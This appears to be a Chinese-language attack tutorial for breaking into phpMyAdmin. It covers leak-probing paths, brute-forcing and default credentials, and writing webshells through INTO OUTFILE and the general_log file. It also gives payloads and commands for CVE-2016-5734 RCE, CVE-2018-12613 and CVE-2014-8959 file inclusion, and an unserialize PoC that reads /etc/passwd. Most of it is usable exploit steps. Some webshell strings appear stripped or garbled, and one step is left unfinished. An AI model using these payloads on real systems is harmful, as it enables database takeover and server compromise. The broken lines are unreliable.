phpMyAdmin是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
在根路径下加以下目录,尝试信息泄露漏洞存在与否。
readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html
当我们发现后台时,我们可以试着使用暴力破解进入后台,进而掌握整个数据库。
有专门的爆破工具。这里我们使用burp试试。
选择集成炸弹
破解未完
默认 phpMyAdmin:用户名 root、密码 root 或空登陆。
版本 2.11.3~2.11.4:用户名 ‘localhost’@’@" 登陆,无需密码。
版本 2.11.9.2:用户名 root 登陆,无需密码。
得到账号密码之后,只要满足漏洞条件,我们就可以getshell了
获取网站绝对路径
知道绝对路径之后,我们才能把文件写到指定位置。获取绝对路径的方法有:
1、phpinfo()
2、出错页面
3、load_file读取网站配置文件 如index.php /etc/passwd
4、查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
5、进入后台
6、百度出错信息 zoomeye shadon 搜索error warning
7、@@datadir参数看mysql路径 反猜绝对路径
写入shell
(1)利用mysql的写文件功能,需要条件如下:
数据库root,
知道网站的物理路径,
数据库有写权限。
(phpmyadmin检验:执行sql语句 SHOW VARIABLES LIKE ‘secure_file_priv’)
secure-file-priv特性 :
secure-file-priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql不允许导入|导出 。
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下。
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制 。
可以在mysql-ini文件中设置其属性。
我们写入一句话phpinfo文件()
select "" INTO OUTFILE "c:\\phpstudy\\www\\rexu.php"
当into outfile被禁用的话 可以利用日志getshell。
原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell。
但是默认情况下是关闭的。
show variables
第一步手动开启日志。
set global general_log='on' //首先设置为on
set global general_log_file ="C:\phpStudy\PHPTutorial\WWW\a.php"
查看是否开启成功:
show variables like "general_log%"
select 'key']);?>'
虽然报错但已经写进去了。
(3)phpMyAdmin漏洞利用
phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)影响phpMyAdmin 2.x版本,poc如下:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
(4)CVE-2016-5734 RCE
漏洞说明
1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6
主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。
在Kali中有自带的EXP
searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c "system(whoami)" http://192.168.41.129/
(5)CVE-2018-12613文件包含
漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一处文件包含逻辑
满足以下5个条件
1、不为空
2、字符串
3、不以index开头
4、不在$target_blacklist这个黑名单中
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。
判断是否存在漏洞经过二次编码绕过
/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT '';
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba
(6)CVE-2014 -8959:本地文件包含
影响范围:phpMyAdmin 4 .0.1–4 .2.12,需要PHP version < 5.3.4 ,Poc如下:
/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00
在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。
参考文章